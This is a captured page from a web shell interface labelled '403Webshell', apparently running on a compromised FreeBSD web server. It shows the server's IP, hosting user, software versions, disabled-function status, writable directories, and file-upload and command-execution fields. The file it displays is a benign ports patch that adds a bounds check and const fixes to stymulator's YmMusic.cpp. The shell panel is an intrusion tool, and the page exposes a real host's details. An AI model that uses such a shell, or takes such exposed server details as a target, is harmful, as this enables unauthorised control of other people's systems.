403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/audio/stymulator/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/audio/stymulator/files/patch-stsoundlib_YmMusic.cpp
--- stsoundlib/YmMusic.cpp.orig	2016-07-26 16:04:42 UTC
+++ stsoundlib/YmMusic.cpp
@@ -167,12 +167,12 @@ ymbool	CYmMusic::isSeekable(void)
 		return getAttrib()&A_TIMECONTROL;
 }
 
-void	CYmMusic::setLastError(char *pError)
+void	CYmMusic::setLastError(const char *pError)
 {
 		pLastError = pError;
 }
 
-char	*CYmMusic::getLastError(void)
+const char *CYmMusic::getLastError(void)
 {
 		return pLastError;
 }
@@ -364,11 +364,14 @@ void	CYmMusic::player(void)
 
 			if (ptr[12])
 			{
-				sampleFrq = (MFP_CLOCK / ptr[12]);
-				ymChip.drumStart(	2,							// Voice C
-									sampleAdress[sampleNum],
-									sampleLen[sampleNum],
-									sampleFrq);
+				if (sampleNum < MAX_DIGIDRUM)
+				{
+					sampleFrq = (MFP_CLOCK / ptr[12]);
+					ymChip.drumStart(	2,							// Voice C
+										sampleAdress[sampleNum],
+										sampleLen[sampleNum],
+										sampleFrq);
+				}
 			}
 		}
 	}
@@ -612,7 +615,6 @@ ymTrackerLine_t *pLine;
 	  	for (i=0;i<nbVoice;i++)
 		{
 			ymint n;
-			ymint freq = 
 			pVoice[i].sampleFreq = ((ymint)pLine->freqHigh<<8) | pLine->freqLow;
 			if (pVoice[i].sampleFreq)
 			{
@@ -677,7 +679,7 @@ double	step;
 #ifdef _LINEAR_OVRS
 			ymint vb = va;
 			if (samplePos < (sampleEnd-(1<<YMTPREC)))
-				ymint vb = pVolumeTab[pSample[(samplePos>>YMTPREC)+1]];
+				vb = pVolumeTab[pSample[(samplePos>>YMTPREC)+1]];
 			ymint frac = samplePos & ((1<<YMTPREC)-1);
 			va += (((vb-va)*frac)>>YMTPREC);
 #endif

Youez - 2016 - github.com/yon3zu
LinuXploit